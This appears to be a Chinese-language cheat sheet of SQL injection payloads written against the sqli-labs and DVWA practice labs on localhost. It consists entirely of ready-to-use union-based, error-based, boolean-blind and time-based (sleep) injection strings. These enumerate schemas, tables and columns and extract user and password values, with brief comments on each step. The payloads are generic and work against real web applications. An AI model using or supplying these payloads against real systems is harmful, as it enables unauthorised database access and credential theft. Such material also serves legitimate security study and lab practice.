查询某个数据库的所有表 http://127.0.0.1/sqlib/Less-1/?id=-1' union select 1,2,group_concat( table_name) from information_schema.tables where table_schema='security' --+
查找某个数据表中有哪些列 http://127.0.0.1/sqlib/Less-1/?id=-1' union select 1,2,group_concat( column_name) from information_schema.columns where table_schema='security' and table_name='users' --+
id=1' union select count(*),floor(rand(0)*2) x from information_schema.schemata group by x# 判断是否存在报错注入
id=1' union select count(*),concat(floor(rand(0)*2),database()) x from information_schema.schemata group by x #爆出当前数据库名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(table_name) from information_schema.tables where table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#爆出表
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(column_name) from information_schema.columns where table_name='users' and table_schema='dvwa' limit 0,1)) x from information_schema.schemata group by x#④爆出字段名
id=1' union select count(*),concat(floor(rand(0)*2),0x3a,(select concat(user,0x3a,password) from dvwa.users limit 0,1)) x from information_schema.schemata group by x# 爆出user和password
and substr((select database()),1,1)='s' 判断数据库名字 可以通过substr函数来定位字母,依次爆破
and (select count(table_name) from information_schema.tables where table_schema=database())=2# 判断数据库中有多少个表 知道有多少个表之后才能对每个表进行爆破
and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9#判断第一个表的长度 //第二个表依次类推 判断第一个表的长度,意义和判断数据库长度一样,然后通过limit的关键之来定位到每个表
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97#判断第一个表的名字 //第二个表名依次类推 判断每个表的每个字母,通过substr 定位哪个字母,通过limit定位哪个表 通过ascii转换成ascii码 用数字形式判断。这里其实用字母就行,不用转ascii也可以
1' and (select count(column_name) from information_schema.columns where table_name='users')=14# 成功判断第一个表中列数 //第二个表的列依次类推 爆列和爆表的意义都一样啦
1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1#判断第一个表第一个列的长度 第二列依次类推
1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>97#判断第一个表第一列的名字 //第二个表的列名依次类推
and (select length(user) from users where user_id=1)=5# 爆出需要字段的长度
and ascii(substr((select user from users limit 0,1),1,1))=97# 爆出字段的数据的第一个字母
and if(length(database())=8,sleep(3),1) 判断数据库长度 然后按长度来爆破每个字母
and if(substr((select database()),1,1)='s',sleep(3),1) 判断数据库名字 可以通过substr函数来定位字母,依次爆破
and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(3),1)# 判断数据库中有多少个表 知道有多少个表之后才能对每个表进行爆破
and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=9,sleep(3),1)#判断第一个表的长度 //第二个表依次类推 判断第一个表的长度,意义和判断数据库长度一样,然后通过limit的关键之来定位到每个表
and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97,sleep(3),1)#判断第一个表的名字 //第二个表名依次类推 判断每个表的每个字母,通过substr 定位哪个字母,通过limit定位哪个表 通过ascii转换成ascii码 用数字形式判断。这里其实用字母就行,不用转ascii也可以
1' and if((select count(column_name) from information_schema.columns where table_name='users')=14,sleep(3),1)# 成功判断第一个表中列数 //第二个表的列依次类推 爆列和爆表的意义都一样啦
1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1,sleep(3),1)#判断第一个表第一个列的长度 第二列依次类推
1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 3,1),1,1))>97,sleep(3),1)#判断第一个表第一列的名字 //第二个表的列名依次类推
and if((select length(user) from users where user_id=1)=5,sleep(3),1)# 爆出需要字段的长度
and if(ascii(substr((select user from users limit 0,1),1,1))=97,sleep(3),1)# 爆出字段的数据的第一个字母